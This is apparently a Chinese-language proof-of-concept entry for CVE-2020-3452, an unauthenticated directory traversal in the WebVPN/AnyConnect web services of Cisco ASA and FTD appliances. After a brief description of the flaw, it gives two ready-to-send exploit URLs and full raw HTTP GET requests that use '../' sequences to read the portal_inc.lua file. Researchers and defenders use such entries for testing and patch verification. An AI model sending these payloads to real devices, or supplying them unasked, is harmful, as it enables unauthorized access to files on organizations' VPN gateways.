[CVE-2020-3452] Cisco Adaptive Security Appliance (ASA) & Cisco Firepower Threat Defense (FTD) Web服务只读目录遍历
Cisco Adaptive Security Appliance (ASA) 软件和 Cisco Firepower Threat Defense (FTD) 软件的 Web 服务接口存在一个漏洞，可能允许未经身份验证的远程攻击者执行目录遍历攻击并读取目标系统上的敏感文件。
该漏洞是由于受影响设备在处理 HTTP 请求时，对 URL 缺乏适当的输入验证所致。攻击者可以通过向受影响设备发送包含目录遍历字符序列的特制 HTTP 请求来利用此漏洞。成功利用后，攻击者可以查看目标设备 Web 服务文件系统中的任意文件。当受影响设备配置了 WebVPN 或 AnyConnect 功能时，Web 服务文件系统即被启用。该漏洞无法用于获取 ASA 或 FTD 的系统文件或底层操作系统 (OS) 文件。
https://{host}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
https://{host}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
